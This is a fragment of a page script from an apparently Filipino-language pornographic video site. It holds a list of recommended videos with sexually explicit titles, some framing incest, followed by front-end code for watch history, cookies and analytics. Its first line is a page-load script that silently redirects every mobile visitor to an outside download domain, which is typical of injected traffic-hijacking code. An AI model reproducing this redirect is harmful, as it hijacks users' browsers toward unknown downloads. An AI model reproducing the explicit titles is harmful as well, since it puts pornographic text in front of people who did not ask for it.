if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace(\"https://xiazai.it.com\")}>Isang babae na maganda pa rin ang nagpapakita ng labis na kaakit-akit at mga pheromone. Mga Pinagbibidahan nina: Caroline Reese, Ravennis, Nicole Ray, atbp. Ipinamamahagi ni: Momotaro Eizo.","lastmod":"2026-07-11","duration":"04:02:17","url":"/play/19167177.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjlmOTM3ZDU4ZjBkY2YwZGY3OGNhMzc2Y2QwYzQyNTMuanBn.cache","vod_id":18929524,"title":"Isang magandang babaeng blonde, si [Diyosa Farah], ang nagsasalsal sa isang sofa, dinidilaan ang vibrator, ipinapasok ang kanyang mga daliri, umuungol at humihingal. Nakakaakit, huwag palampasin!","lastmod":"2025-12-14","duration":"00:54:22","url":"/play/18929524.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjIzL1prbXRZVVRjLzEuanBn.cache","vod_id":19145373,"title":"Mapang-akit na sayaw sa tiyan na may mapang-akit na galaw ng balakang!! XVSR-851","lastmod":"2026-02-25","duration":"01:57:46","url":"/play/19145373.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjYvNDhmZGFiMDJmMTA3NDE4NjNkOTQyM2ZhNTNlMWQ1MjUuanBn.cache","vod_id":19059676,"title":"Ang pang-akit ng nakalantad na bulkan - Erika Shiomi (1pondo_021024_001)","lastmod":"2025-10-25","duration":"01:00:33","url":"/play/19059676.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDgvMjg0M2QxNGQzZjNjZDViZGZlZjkwYmEwOGIyODE4N2QuanBn.cache","vod_id":19045950,"title":"OVE Live Stream 20.09.14 | Opisina | Mapusyaw na asul na maikling kamiseta at itim na palda | Itim na medyas at mataas na takong | Bumabaon ang mga kuko mo sa aking mga suso.","lastmod":"2025-08-07","duration":"36:51","url":"/play/19045950.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmIxNTQ5MDA5NjYyMTJjYTBlZDI1ZTg5MzM3MjY4ZjUuanBn.cache","vod_id":19011168,"title":"HODV21432 Naakit ako ng mga bulong na ako lang ang nakakarinig, at tinapos ang aking pagkabirhen sa pamamagitan ng paglabas sa loob ni Nagase Asami.","lastmod":"2025-03-24","duration":"02:26:53","url":"/play/19011168.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjE0OGZmMzcyZWQ0OGQxZDc2MTkzMDRkZDg4YWMyZjYuanBn.cache","vod_id":18979482,"title":"Isang napakagandang babae, mapang-akit na ipinapakita ang kanyang mukha suot ang itim na medyas na nakabuka ang puwitan, nagli-livestream ng isang kamangha-manghang palabas, kulay rosas at mapula-pula ang kanyang puke, umuungol at umuungol habang siya ay pinapasok gamit ang mga props, inilalabas ang kanyang puwet at nagmamakaawa na makipagtalik.","lastmod":"2025-12-14","duration":"01:00:39","url":"/play/18979482.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2NkZDUyYjFmN2YyNjNjOThmYmRiMDBlNjYxODExZjMuanBn.cache","vod_id":18991287,"title":"Ang matalik na kaibigan ng isang maganda at matamis na babae ay nakatali at hubo't hubad na nagsasalsal sa isang upuan, gamit ang isang aparatong papasok at papasok sa ari ng lalaki para mapaungol siya. Nakakaakit ito, huwag palampasin kung gusto mo!","lastmod":"2025-12-14","duration":"01:05:33","url":"/play/18991287.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjUvMWEyM2U5ZWY1MjliZGFkMTk5NzE0Y2IxYjU1ZDk5YjUuanBn.cache","vod_id":19039878,"title":"HIGR075 Aking mga Pakpak #AkimotoTsubasa","lastmod":"2025-06-24","duration":"01:27:22","url":"/play/19039878.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I2YzhkZDI1NmRhMTJkYzI5NDZlYTk1NzZhODYwZDEuanBn.cache","vod_id":18989364,"title":"Isang busty na babaeng South Korean anchor ang gumagamit ng dildo para magsagawa ng foot fetish seduction!","lastmod":"2025-12-14","duration":"14:11","url":"/play/18989364.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDkvOWFlMzg0NjQ1NTRiOTM4MGJkMzBhNTYxYjgyNzBiMzAuanBn.cache","vod_id":19037336,"title":"MDBK292 Ang kaakit-akit at batang asawa sa tabi mo ay napakatuso, na nakasuot ng damit na walang bra.","lastmod":"2025-06-09","duration":"02:30:28","url":"/play/19037336.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjkvYjE0NGVhNjBkYTU1YThkMjBhZWFjM2NkMmM0OWIyMTkuanBn.cache","vod_id":19035727,"title":"HUNTB660 Noong dumalo ako sa isang klase sa pagluluto na puno ng mga batang asawa, ako lang ang lalaki roon, parang isang harem! Napabayaan ang kanyang pagsasanay, at labis siyang nabigo.","lastmod":"2025-05-29","duration":"02:30:25","url":"/play/19035727.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTU3N2U4ZmIzMTEzY2U0YTQ0YzQxOTVlMmY0NTc1YTkuanBn.cache","vod_id":18985413,"title":"362SCOH-117 [Cumshot] Magkakaroon ako ng maingat na piniling magandang babae na iko-cosplay at mabubuntis ko siya sa anak ko! [Oras ● Kurumi 2] Maruki","lastmod":"2025-03-23","duration":"00:39:00","url":"/play/18985413.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjI1L3Y2czRScVVZLzEuanBn.cache","vod_id":19145467,"title":"Maaaring gamitin ang aking puke bilang laruan sa pakikipagtalik! Habang naglalakbay ang aking mga magulang, ang malaking dibdib na senior ng aking kaibigang otaku ay pumasok sa aking espasyo sa loob ng apat na araw, nasisiyahan sa penetration at pakikipagtalik. (MIDA-442)","lastmod":"2026-02-26","duration":"01:59:43","url":"/play/19145467.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWJmZmNlOTY1OGE5ZjhhNzczNzAyODhjMGE2NDYyZTEuanBn.cache","vod_id":18991353,"title":"MIDE-700 Naakit ako ng malaswang ate ng aking kasintahan at nakipagtalik nang tatlong araw. (Meng Jiana)","lastmod":"2025-03-23","duration":"02:40:36","url":"/play/18991353.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTg3MTY1OWU1YzRlZmIyN2IxYmRkNjFmNjZhMDBjYjUuanBn.cache","vod_id":19000996,"title":"Isang maganda at seksing baguhan na may malalaki at puting suso at seksing mukha ang makikitang nagsasalsal sa suot na bikini, hubad na hubad. May mga malapitang kuha siya na ibinubuka ang kanyang pink na vulva at ipinapasok sa pamamagitan ng vibrator.","lastmod":"2025-03-23","duration":"01:12:50","url":"/play/19000996.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvZmE5YTY0YzQwMjRjMzBlNjRlZDliMGUxNzUwZWI3MDAuanBn.cache","vod_id":19058865,"title":"Rekord ng pagbubuntis at pagtataksil ng asawang babae; Asawang babae na nagpapakasasa sa kasiyahan ng insesto na pakikipagtalik sa isang estudyante sa kolehiyo; Para masiyahan ka habang nagtatrabaho ka sa pabrika, ginagamit ko ang aking semilya... Hibiki Otsuki NGOD232","lastmod":"2025-10-20","duration":"02:04:25","url":"/play/19058865.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGU4MjdkMDUwYmViNTIxZDNhNWU0NzcxMzdlNzI0NzIuanBn.cache","vod_id":18929328,"title":"Isang maganda, maikli ang buhok, at kyut na babae ang gumagamit ng masturbesyon na may nakalagay na walang buhok na vibrator sa kanyang ari. Ang kanyang mga ungol at mahinang hingal ay lubhang kaakit-akit; huwag itong palampasin kung gusto mo!","lastmod":"2025-12-14","duration":"00:34:15","url":"/play/18929328.html"}]},
videoTitle: '032517505 Kinuha ng asawa ko ang bra ko kaninang madaling araw para akitin ako.',
language: 'fil',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Nakopya na ang link!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}